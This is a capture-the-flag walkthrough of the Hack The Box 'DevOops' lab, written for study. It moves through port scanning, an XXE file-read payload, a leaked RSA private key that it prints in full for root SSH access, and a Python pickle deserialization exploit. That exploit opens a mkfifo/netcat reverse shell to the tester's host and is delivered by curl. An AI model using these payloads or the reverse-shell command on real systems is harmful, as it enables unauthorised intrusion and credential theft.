HTB – DevOops

Today we are going to solve another CTF challenge “DevOops”. DevOops is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of DevOops is 10.10.10.91

Walkthrough

Let’s start off with our basic nmap command to find out the open ports and services.

c:\Users\jacco>nmap -p- -A 10.10.10.91 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-25 13:54 W. Europe Standard Time
Nmap scan report for 10.10.10.91
Host is up (0.025s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
| 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/25%OT=22%CT=1%CU=42043%PV=Y%DS=2%DC=T%G=Y%TM=5C73E5A
OS:3%P=i686-pc-windows-windows)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A
OS:)SEQ(CI=I%II=I%TS=A)SEQ(CI=I%II=I)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M
OS:54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=712
OS:0%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%
OS:CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 26.00 ms 10.10.14.1
2 26.00 ms 10.10.10.91

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.28 seconds

From Nmap scanning, we have enumerated port 22 and 5000 are only open ports on the target’s network, therefore firstly, let’s navigate to port 5000 through a web browser. By exploring given URL, it puts up following web page as shown in the below image.

root@kali:~/htb/devoops# dirb http://10.10.10.91:5000

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Tue Feb 26 13:05:17 2019
URL_BASE: http://10.10.10.91:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.91:5000/ ----
+ http://10.10.10.91:5000/feed (CODE:200|SIZE:546263) 
+ http://10.10.10.91:5000/upload (CODE:200|SIZE:347)

So we explore http://10.10.10.91:5000/upload in the URL and further welcomed by following web Page given below. The following web page lets you upload an XML file, including XML elements Author, Subject and content. For that reason, we have created an XML file with the help of following code and saved as 1.xml

<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<body>
  <Author>auth</Author>
  <Subject>subj</Subject>
  <Content>&example;</Content>
</body>

Then browse the xml file, which you have created and intercept the browser request with the help of burp suite while uploading.

Now send the intercepted data to the repeater.

Inside XXE file, we have injected malicious code to make call for /etc/passwd file, thus, we need to analysis its result in the repeater.

And as you can observe from the given below image, the xml code is working wonderfully and throwing the content of /etc/passwd file to us.

Similar, we extract the SSH RSA key by modifying XXE entry as show in the below image. Now copy the whole key and save in a text file.

Since we have copied RSA Private KEY in a text file named as “key” , then set permission 600 and try to login with the help of following command.

:: Set Variable ::
set key="C:\Path\to\key"

:: Remove Inheritance ::
cmd /c icacls %key% /c /t /inheritance:d

:: Set Ownership to Owner ::
cmd /c icacls %key% /c /t /grant %username%:F

:: Remove All Users, except for Owner ::
cmd /c icacls %key%  /c /t /remove Administrator BUILTIN\Administrators BUILTIN Everyone System Users

:: Verify ::
cmd /c icacls %key%
PS C:\pentest\htb\devoops> ssh -i key roosa@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

roosa@gitter:~$ ls
deploy   Documents  examples.desktop  Pictures  run-blogfeed.sh  service.sh~  user.txt  work
Desktop  Downloads  Music             Public    service.sh       Templates    Videos
roosa@gitter:~$ cat user.txt
c58*****67b

Great!!! We have completed the first task but for obtaining root.txt file we need to escalate the root privilege and to do so we traversed so many directories and files to get next clue.

roosa@gitter:~$ cd work
roosa@gitter:~/work$ ls
blogfeed
roosa@gitter:~/work$ cd blogfeed
roosa@gitter:~/work/blogfeed$ ls
README.md resources run-gunicorn.sh src
roosa@gitter:~/work/blogfeed$ cat run-gunicorn.sh
#!/bin/sh

export FLASK_APP=feed.py
export WERKZEUG_DEBUG_PIN=151237652
gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app

roosa@gitter:~/work/blogfeed$ cd resources/
roosa@gitter:~/work/blogfeed/resources$ ls
integration

So we found .git directory here, lets check git with the git log command.

roosa@gitter:~/work/blogfeed/resources$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 26 06:13:55 2018 -0400

Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:37:00 2018 -0400

Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:08:09 2018 -0400

Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:38:21 2018 -0400

Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:37:56 2018 -0400

Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 -0400

reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400

add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:24:30 2018 -0400

Initial commit
roosa@gitter:~/work/blogfeed/resources$

And we obtain so many string as shown in the following image which may perhaps SSH key for root login. So we try some key along git show command to demonstrate the output result. And obtain RSA Private Key which was not working properly.

roosa@gitter:~/work/blogfeed/resources$ git show d387abf63e05c9628a59195cec9311751bdb283f
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400

add key for feed integration from tnerprise backend

diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
new file mode 100644
index 0000000..44c981f
--- /dev/null
+++ b/resources/integration/authcredentials.key
@@ -0,0 +1,28 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
+8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
+vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
+nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
+CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
+F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
+uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
+gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
+k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
+NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
+HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
+2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
+GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
+jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
+IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
++XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
+7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
+Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
+iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
+VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
+S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
+md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
+LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
+oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
+LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
+-----END RSA PRIVATE KEY-----
+
roosa@gitter:~/work/blogfeed/resources$

And finally obtain original RSA Key (We just need to remove all the + signs)

Since we have copied RSA Private KEY in a text file named as “rootkey” then set permission 600 and try to login

 

PS C:\pentest\htb\devoops> ssh -i rootkey root@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~# ls
root.txt
root@gitter:~# cat root.txt
d4fe1e7f7187407eebdd3209cb1ac7b3
root@gitter:~#

Intended way to get user access

We will take a look at the source code for the web pages and see if there is anything interesting there. Modifying our XML file to instead read /home/roosa/deploy/src/feed.py reveals something interesting that our gobuster scan missed; another endpoint called newpost.

And looking closer at the code for that endpoint, we see that it uses pickle and simply base 64 decodes it from the request data. As it performs no sanitisation, that means we can have some fun.

Open your favourite code editor and lets write us some python.

root@kali:~/htb/devoops# cat writeup.py 
import os
import cPickle
import base64

cmd = 'rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 10.10.14.20 1234 >/tmp/x'

class MyClass(object):
def __reduce__(self):
return (os.system, (cmd,))

payload = cPickle.dumps(MyClass())
encoded = base64.urlsafe_b64encode(payload)
print(encoded)

Save it, run it, and copy the base64 encoded string it spits out, then we can craft a curl command to get us that sweet, sweet command execution.

root@kali:~/htb/devoops# python writeup.py 
Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL3g7bWtmaWZvIC90bXAveDtjYXQgL3RtcC94fC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC4yMCAxMjM0ID4vdG1wL3gnCnAyCnRScDMKLg==
root@kali:~/htb/devoops# curl -H "Content-Type: text" -X POST -d "Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL3g7bWtmaWZvIC90bXAveDtjYXQgL3RtcC94fC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC4yMCAxMjM0ID4vdG1wL3gnCnAyCnRScDMKLg==" http://10.10.10.91:5000/newpost

Make sure you have your netcat listener ready to catch the remote shell. Also note we have to set the Content-Type header to text otherwise we just get another internal server error.

Sending that off nets us our remote shell, and access to the first flag

root@kali:~/htb/devoops# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.91: inverse host lookup failed: Unknown host
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.91] 45562
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
roosa@gitter:~/deploy/src$ id
id
uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)

Author: Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *